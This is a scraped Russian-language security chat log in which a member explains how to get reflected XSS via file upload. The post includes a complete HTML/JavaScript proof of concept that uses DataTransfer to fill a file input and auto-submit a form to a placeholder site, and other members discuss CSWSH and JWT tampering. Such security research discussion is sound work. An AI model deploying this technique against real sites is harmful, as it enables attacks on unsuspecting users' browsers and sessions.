Size: a a a

2021 February 04

SS

Sasha Sh in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
надо на текст нажать, а не на кнопку
источник

GD

Green Dog in WebPwnChat
разве это можно в формочку подсунуть?
источник

SS

Sasha Sh in WebPwnChat
Green Dog
разве это можно в формочку подсунуть?
Вот рабочий пример: https://jsfiddle.net/1qbpxfdr/
источник

J

Jack in WebPwnChat
Sasha Sh
Вот рабочий пример: https://jsfiddle.net/1qbpxfdr/
источник

1

1.4.7/12 in WebPwnChat
Sasha Sh
Вот рабочий пример: https://jsfiddle.net/1qbpxfdr/
источник

SS

Sasha Sh in WebPwnChat
Вот, успешно загрузилось на file.io

Теперь по этой ссылке можно скачать и посмотреть что загрузилось
источник

А

Алексей in WebPwnChat
Ivan
Может ну нафиг хсс и пойти искать нормальные баги?
Мама, я в телевизоре

Речь про рефлектед, сторед - топ
источник

A

Alex in WebPwnChat
Есть такой вопрос, мб кто сталкивался
есть вебсокет socket.io с CSWSH, но  для получения инфы нужно чтобы жертва передала на сервер 3 значения из куков своих ( т.е аутентификация) можно ли как-то это обойти ? куда вообще смотреть?
источник

GD

Green Dog in WebPwnChat
Alex
Есть такой вопрос, мб кто сталкивался
есть вебсокет socket.io с CSWSH, но  для получения инфы нужно чтобы жертва передала на сервер 3 значения из куков своих ( т.е аутентификация) можно ли как-то это обойти ? куда вообще смотреть?
3 значения?
источник

GD

Green Dog in WebPwnChat
куки автоматически подставляются при подключении по хттп (если samesite не мешает)
источник

A

Alex in WebPwnChat
Green Dog
куки автоматически подставляются при подключении по хттп (если samesite не мешает)
Подключается норм без проблем, но сервер шлёт только пинги, начинает слать интересную мне инфу только тогда, когда отправишь реквест на сокет с номером сессии и Аккаунта.
Я не совсем понимаю что заставляет клиента слать этот реквест (запроса нет), но он автоматически отсылается при нормальной сессии, но т.к мы форджим сокет, то получается я должен отослать данные юзера. Особо с сокетами не сталкивался, не могу понять, я что-то не так делаю или просто бага нет :(
источник

GD

Green Dog in WebPwnChat
Alex
Подключается норм без проблем, но сервер шлёт только пинги, начинает слать интересную мне инфу только тогда, когда отправишь реквест на сокет с номером сессии и Аккаунта.
Я не совсем понимаю что заставляет клиента слать этот реквест (запроса нет), но он автоматически отсылается при нормальной сессии, но т.к мы форджим сокет, то получается я должен отослать данные юзера. Особо с сокетами не сталкивался, не могу понять, я что-то не так делаю или просто бага нет :(
Если ты не знаешь данных юзера, то не сможешь. Cswsh тут получается нет
источник

A

Alex in WebPwnChat
Green Dog
Если ты не знаешь данных юзера, то не сможешь. Cswsh тут получается нет
Понял, спасибо
источник
2021 February 05

MK

Maksim Klepikov in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
Падажжи, так а как это можно в своих нехороших интересах использовать? Не хватает фантазии. Поставить жертве вместо аватарки член?
источник

h

hlmhl in WebPwnChat
Maksim Klepikov
Падажжи, так а как это можно в своих нехороших интересах использовать? Не хватает фантазии. Поставить жертве вместо аватарки член?
Говорят beef фраемворк в таких местах полезен
источник

1

1.4.7/12 in WebPwnChat
Такое не говорят
источник

<ᅠ

<404> ᅠ in WebPwnChat
1.4.7/12
Такое не говорят
:D
источник

AR

AI Reflection in WebPwnChat
😂
источник

Н

Настя in WebPwnChat
День добрый :)
Кто-нить может подсказать про подмену JWT токенов и их уязвимости. Таск решаю - там по-видимому нужно токен поменять
источник

K

Kaimi in WebPwnChat
источник